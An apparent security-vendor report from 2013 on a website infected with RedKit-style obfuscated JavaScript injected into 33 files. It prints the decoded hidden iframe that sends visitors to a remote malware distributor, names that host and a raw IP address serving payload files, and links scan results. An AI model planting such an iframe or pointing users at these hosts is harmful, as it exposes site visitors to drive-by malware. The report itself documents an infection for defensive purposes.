Website with RedKit exploit kit pattern redirects visitors to malware distributors

Website redirects browser

Background

Online Website Malware Scanner has identified malicious JavaScript code injection in the scanned website. Such malicious obfuscated JavaScript code is used to build malicious iframe invisible to the website user and which downloads content from remote malware distributor.

This infected website hosts suspicious JavaScript code injected in 33 files. As discussed in other posts about malicious iframes generation, the attack flow is very similar and contains multiple levels of obfuscation to overcome the detection mechanisms. This particular threat resembles RedKit exploit kit and it generates iframes to http://alicebangkokescorts.com/womd.html\?i=898055 which in turn loads malicious images into the web browser.

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Website malware scanner report

Submission date: Thu May 23 13:33:37 2013

Infected website's files: 33

Website malware scan report link: http://goo.gl/rAQAB

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Malicious iframe

Threat dump: [[<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://alicebangkokescorts.com/womd.html?i=898055>]]

Malware entry

Malware entry details.

List of malware loaded during visit of http://alicebangkokescorts.com/womd.html\?i=898055

<img src="http://74.53.143.237/images/gatorbottom.png" alt="" /> 

https://www.virustotal.com/en/url/408f10e9215faac3a3e12d3cb1c57007aaee30cd3fd348b4740135bc95ea11f2/analysis/

<embed src="http://74.53.143.237/images/hg728x90.swf?clickTAG=http://secure.hostgator.com/cgi-bin/affiliates/clickthru.cgi?id=page404" width="728" height="90"></embed>

https://www.virustotal.com/en/url/da442c14dee618581db1b711264ca090671e7999bd793a8840d21401fec39f36/analysis/1369308777/

 <div id="xxx"><img src="http://74.53.143.237/images/x.png" alt="" /></div>

https://www.virustotal.com/en/url/56e6bf4032deb3476a32c1cf3364e2e66b24ac52944b2dc679457ba819f1c36c/analysis/

Malicious payload

Decoded payload generates hidden iframe to http://alicebangkokescorts.com/womd.html\?i=898055

Blacklisting status

The website is Suspicious on Google Safe Browsing.

Google Safe Browsing analysis

Malware clean-up

Such malware is often hidden inside the JavaScript file. If you suspect that your website was infected by similar malware please use Website Anti-malware Monitoring for remediation assessment.